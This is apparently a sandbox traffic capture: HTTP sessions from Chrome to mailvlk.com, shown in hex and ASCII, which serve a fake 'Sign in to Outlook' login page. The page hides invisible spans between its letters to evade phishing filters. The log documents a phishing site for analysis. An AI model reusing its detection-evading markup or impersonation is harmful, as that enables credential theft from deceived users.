2024-04-24 13:43:23 UTC	1085	OUT	GET /1 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:23 UTC	734	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j4EoGZ%2BwF7lSxIX0GDZU5198VVI5Xprfl2UTx3gLxcmaUvNxmIdTEkwVydFdukE47CkJ70wQcEDeDeB8wxUP1QOhKNXBpirjRQTDFQNTW51Q1phZDYhZco9%2BEi1giw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685a479f008ae-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:23 UTC	635	IN	Data Raw: 37 33 65 62 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 62 63 61 66 64 61 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 69 67 6e 20 69 6e 20 74 6f 20 4f 75 74 6c 6f 6f 6b 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: 73eb <html dir="ltr" class="58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafda" lang="en"> <head> <title> Sign in to Outlook </title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 62 63 61 66 65 32 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 62 63 61 66 65 33 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 Data Ascii: el="stylesheet"> </head> <body class="cb 58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe2" style="display: block;"> <div> <div> <div class="background 58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe3" role="presentat
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e 6e 65 72 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 62 63 62 30 30 35 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 62 63 62 30 30 36 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 Data Ascii: <div id="log_form" class="inner fade-in-lightbox 58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb005"> <div class="lightbox-cover 58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb006"> </div> <div
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 70 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 Data Ascii: S<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">p</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-hei
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 Data Ascii: <div role="alert" aria-live="assertive"> </div> <div hidden="" class="col-md-24 error ext-error" id="usernameError"> E<span style="display
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: 0.02px;">z</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size:
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a Data Ascii: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-width:
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 Data Ascii: lor: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span>n<span style="display: inline; c
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a Data Ascii: /span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z
2024-04-24 13:43:23 UTC	1369	IN	Data Raw: 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 7a 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 Data Ascii: -height: 0.03px; font-size: 0.02px;">z</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">z</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	49779	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:23 UTC	1159	OUT	GET /favicon.ico HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:23 UTC	688	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 13:43:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lmpoupm%2F8tfpTwq%2BIK1WQuAhZv%2FS4dUpCIIb8jJZKgMMYJECRZO9xoxbNHe5czNKmoToVc6kUnngDb%2FtAg6Kzs0zd1pa9t7fpI86LlGAK%2FNXH0AmJJIuTEGNdiXWIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685a489922ac5-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:23 UTC	681	IN	Data Raw: 34 64 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 Data Ascii: 4d6<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helveti
2024-04-24 13:43:23 UTC	564	IN	Data Raw: 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c Data Ascii: </p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255,
2024-04-24 13:43:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	49780	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:24 UTC	552	OUT	GET /1 HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:25 UTC	734	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KxvXiN1u1jeX6mAYumOI1KV87HAMIFNMEi9jgUlHds%2BLBYy13aKXifNvFO%2BVqAlcr0NGps5sXA6wOi70Ji75eK7qa156O4R6BzSFjH0HsWdfiXsGGzl21UNGxhoQvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685aacdf72f2f-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:25 UTC	635	IN	Data Raw: 37 33 65 32 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 63 64 30 33 33 33 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 69 67 6e 20 69 6e 20 74 6f 20 4f 75 74 6c 6f 6f 6b 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: 73e2 <html dir="ltr" class="58461f18f36cbc9854a411ccf4ae8dbb66290c7cd0333" lang="en"> <head> <title> Sign in to Outlook </title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 63 64 30 33 33 66 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 63 64 30 33 34 30 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 Data Ascii: el="stylesheet"> </head> <body class="cb 58461f18f36cbc9854a411ccf4ae8dbb66290c7cd033f" style="display: block;"> <div> <div> <div class="background 58461f18f36cbc9854a411ccf4ae8dbb66290c7cd0340" role="presentat
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e 6e 65 72 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 63 64 30 33 36 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 63 64 30 33 36 33 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 Data Ascii: <div id="log_form" class="inner fade-in-lightbox 58461f18f36cbc9854a411ccf4ae8dbb66290c7cd0362"> <div class="lightbox-cover 58461f18f36cbc9854a411ccf4ae8dbb66290c7cd0363"> </div> <d
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 Data Ascii: S<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>i<span style="display: inline; color: rgba(26, 125, 117, 